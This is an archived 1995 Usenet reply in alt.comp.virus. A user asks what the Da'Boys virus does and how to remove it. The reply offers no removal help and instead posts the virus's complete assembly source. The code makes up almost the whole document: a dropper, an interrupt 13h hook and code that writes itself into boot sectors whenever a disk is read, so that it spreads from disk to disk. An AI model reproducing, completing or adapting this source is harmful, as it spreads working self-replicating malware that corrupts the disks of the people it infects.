home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / daboys.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  7.3 KB  |  291 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
  3. From: yojimbo@crl.com (Douglas Mauldin)
  4. Newsgroups: alt.comp.virus
  5. Subject: Re: Da'boys viurs, new?
  6. Date: 23 Mar 1995 23:25:53 -0800
  7. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  8. Lines: 276
  9. Message-ID: <3kts61$1a3@crl9.crl.com>
  10. References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
  11. NNTP-Posting-Host: crl9.crl.com
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14. ;: does anyone know what this virus does?  how dangerous is it
  15. ;: and how do i remove it from my boot sector if the disk is not
  16. ;: a bootable one?  
  17.  
  18. ;From THe QUaRaNTiNE archives: Da'Boys Source-
  19. ;Enjoy...
  20.  
  21. cseg        segment    para    public    'code'
  22. da_boys        proc    near
  23. assume        cs:cseg
  24.  
  25. ;-----------------------------------------------------------------------------
  26.  
  27. .186
  28. TRUE        equ    001h
  29. FALSE        equ    000h
  30.  
  31. ;-----------------------------------------------------------------------------
  32.  
  33. ;option                     bytes used
  34.  
  35. COM4_OFF    equ    TRUE    ;  3 bytes
  36. DA_BOYS_TEXT    equ    TRUE    ;  6 bytes
  37.  
  38. ;-----------------------------------------------------------------------------
  39.  
  40. ADDR_MUL    equ    004h
  41. BIOS_INT_13    equ    0c6h
  42. BOOT_INT    equ    019h
  43. BOOT_OFFSET    equ    07c00h
  44. COM4_OFFSET    equ    00406h
  45. COM_OFFSET    equ    00100h
  46. DISK_INT    equ    013h
  47. DOS_GET_INT    equ    03500h
  48. DOS_INT        equ    021h
  49. DOS_SET_INT    equ    02500h
  50. FIRST_SECTOR    equ    00001h
  51. INITIAL_BX    equ    00078h
  52. LOW_CODE    equ    0021dh
  53. NEW_INT_13_LOOP    equ    0cdh
  54. READ_A_SECTOR    equ    00201h
  55. RETURN_NEAR    equ    0c3h
  56. SECTOR_SIZE    equ    00200h
  57. TERMINATE_W_ERR    equ    04c00h
  58. TWO_BYTES    equ    002h
  59. VIRGIN_INT_13_B    equ    007b4h
  60. WRITE_A_SECTOR    equ    00301h
  61.  
  62. ;-----------------------------------------------------------------------------
  63.  
  64. io_seg        segment    at 00070h
  65.         org    00000h
  66. io_sys_loads_at    label    word
  67. io_seg        ends
  68.  
  69. ;-----------------------------------------------------------------------------
  70.  
  71. bios_seg    segment    at 0f000h
  72.         org    09315h
  73. original_int_13    label    word
  74. bios_seg    ends
  75.  
  76. ;-----------------------------------------------------------------------------
  77.  
  78.         org    COM_OFFSET
  79. com_code:
  80.  
  81. ;-----------------------------------------------------------------------------
  82.  
  83. dropper        proc    near
  84.         xor    ax,ax
  85.         mov    ds,ax
  86.         lds    dx,dword ptr ds:[VIRGIN_INT_13_B]
  87.         mov    ax,DOS_SET_INT+BIOS_INT_13
  88.         int    DOS_INT
  89.         mov    dx,offset interrupt_13+LOW_CODE-offset old_jz
  90.         xor    ax,ax
  91.         mov    ds,ax
  92.         mov    ax,DOS_SET_INT+DISK_INT
  93.         int    DOS_INT
  94.         mov    di,LOW_CODE
  95.         mov    si,offset old_jz
  96.         push    ds
  97.         pop    es
  98.         call    move_to_boot
  99.         mov    ax,READ_A_SECTOR
  100.         mov    cx,FIRST_SECTOR
  101.         mov    dx,00180h
  102.         mov    bx,offset buffer
  103.         push    cs
  104.         pop    es
  105.         int    DISK_INT
  106. already_set:    mov    ax,TERMINATE_W_ERR
  107.         int    DOS_INT
  108. dropper        endp
  109.  
  110.  
  111. ;-----------------------------------------------------------------------------
  112.  
  113.         org    00048h+COM_OFFSET
  114.         call    initialize
  115.  
  116. ;-----------------------------------------------------------------------------
  117.  
  118.         org    000ebh+COM_OFFSET
  119. old_jz:        jz    old_code
  120.  
  121. ;-----------------------------------------------------------------------------
  122.  
  123.         org    00edh+COM_OFFSET
  124.  
  125. ;-----------------------------------------------------------------------------
  126.  
  127. error:        jmp    error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
  128. move_to_low:    mov    si,offset old_jz+BOOT_OFFSET-COM_OFFSET
  129.         xor    ax,ax
  130. move_to_boot:    mov    cx,offset jmp_old_int_13-offset    old_jz+1
  131.         pushf
  132.         cld
  133.         rep    movs byte ptr es:[di],cs:[si]
  134.         popf
  135.         ret
  136.  
  137. ;-----------------------------------------------------------------------------
  138.  
  139. old_code:    mov    ax,word    ptr ds:[bx+01ah]
  140.         dec    ax
  141.         dec    ax
  142.         mov    di,BOOT_OFFSET+049h
  143.         mov    bl,byte    ptr ds:[di-03ch]
  144.         xor    bh,bh
  145.         mul    bx
  146.         add    ax,word    ptr ds:[di]
  147.         adc    dx,word    ptr ds:[di+002h]
  148.         mov    bx,00700h
  149.         mov    cl,003h
  150. old_loop:    pusha
  151.         call    more_old_code
  152.         popa
  153.         jc    error
  154.         add    ax,0001h
  155.         adc    dx,00h
  156.         add    bx,word    ptr ds:[di-03eh]
  157.         loop    old_loop
  158.         mov    ch,byte    ptr ds:[di-034h]
  159.         mov    dl,byte    ptr ds:[di-025h]
  160.         mov    bx,word    ptr ds:[di]
  161.         mov    ax,word    ptr ds:[di+002h]
  162.         jmp    far ptr    io_sys_loads_at
  163.  
  164. ;-----------------------------------------------------------------------------
  165.  
  166. initialize:    mov    bx,INITIAL_BX
  167.         mov    di,LOW_CODE
  168.         push    ss
  169.         pop    ds
  170.         jmp    short set_interrupts
  171.  
  172. ;-----------------------------------------------------------------------------
  173.  
  174. error_will_jmp:    mov    bx,BOOT_OFFSET
  175.         IF    DA_BOYS_TEXT
  176.         db    'DA',027h,'BOYS'
  177.         ELSE
  178.         push    bx
  179.         ENDIF
  180.         mov    ax,00100h
  181.         mov    dx,08000h
  182. load_from_disk:    mov    cx,ax
  183.         mov    ax,READ_A_SECTOR
  184.         xchg    ch,cl
  185.         xchg    dh,dl
  186.         int    DISK_INT
  187.         ret
  188.  
  189. ;-----------------------------------------------------------------------------
  190.  
  191.         org    00160h+COM_OFFSET
  192.  
  193. ;-----------------------------------------------------------------------------
  194.  
  195. more_old_code:    mov    si,BOOT_OFFSET+018h
  196.         cmp    dx,word    ptr ds:[si]
  197.         jnb    stc_return
  198.         div    word ptr ds:[si]
  199.         inc    dl
  200.         mov    ch,dl
  201.         xor    dx,dx
  202.         IF    COM4_OFF
  203.         mov    word ptr ds:[COM4_OFFSET],dx
  204.         ENDIF
  205.         div    word ptr ds:[si+002h]
  206.         mov    dh,byte    ptr ds:[si+00ch]
  207.         shl    ah,006h
  208.         or    ah,ch
  209.         jmp    short load_from_disk
  210. stc_return:    stc
  211.         ret
  212.  
  213. ;-----------------------------------------------------------------------------
  214.  
  215.         org    0181h+COM_OFFSET
  216.         ret
  217.  
  218. ;-----------------------------------------------------------------------------
  219.  
  220. restart_it:    int    BOOT_INT
  221.  
  222. ;-----------------------------------------------------------------------------
  223.  
  224. set_interrupts:    cmp    word ptr ds:[di],ax
  225.         jne    is_resident
  226.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
  227.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
  228.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
  229.         mov    ax,offset interrupt_13+LOW_CODE-offset old_jz
  230.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
  231.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
  232.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
  233. is_resident:    jmp    move_to_low
  234.  
  235. ;-----------------------------------------------------------------------------
  236.  
  237. interrupt_13    proc    far
  238.         cmp    ah,high(READ_A_SECTOR)
  239.         jne    jmp_old_int_13
  240.         cmp    cx,FIRST_SECTOR
  241.         jne    jmp_old_int_13
  242.         cmp    dh,cl
  243.         ja    jmp_old_int_13
  244.         pusha
  245.         int    BIOS_INT_13
  246.         jc    not_boot_sect
  247.         mov    ax,0efe8h
  248.         xchg    word ptr es:[bx+048h],ax
  249.         cmp    ax,078bbh
  250.         jne    not_boot_sect
  251.         mov    di,bx
  252.         add    di,offset old_jz-COM_OFFSET
  253.         cmp    bh,high(BOOT_OFFSET)
  254.         pushf
  255.         jne    no_key_press
  256.         mov    byte ptr es:[di+00ch],RETURN_NEAR
  257.         pusha
  258.         call    near ptr hit_any_key
  259.         popa
  260. no_key_press:    mov    ax,WRITE_A_SECTOR
  261.         mov    si,LOW_CODE
  262.         call    move_to_boot
  263.         inc    cx
  264.         int    BIOS_INT_13
  265.         popf
  266.         je    restart_it
  267. not_boot_sect:    popa
  268. interrupt_13    endp
  269.  
  270. ;-----------------------------------------------------------------------------
  271.  
  272.         org    001e5h+COM_OFFSET
  273. jmp_old_int_13:    jmp    far ptr    original_int_13
  274.  
  275. ;-----------------------------------------------------------------------------
  276.  
  277. buffer        db    SECTOR_SIZE dup    (0)
  278.  
  279. ;-----------------------------------------------------------------------------
  280.  
  281.         org    07cedh-LOW_CODE+offset old_jz
  282. hit_any_key    label    word
  283.  
  284. ;-----------------------------------------------------------------------------
  285.  
  286. da_boys        endp
  287. cseg        ends
  288. end        com_code
  289.  
  290.  
  291.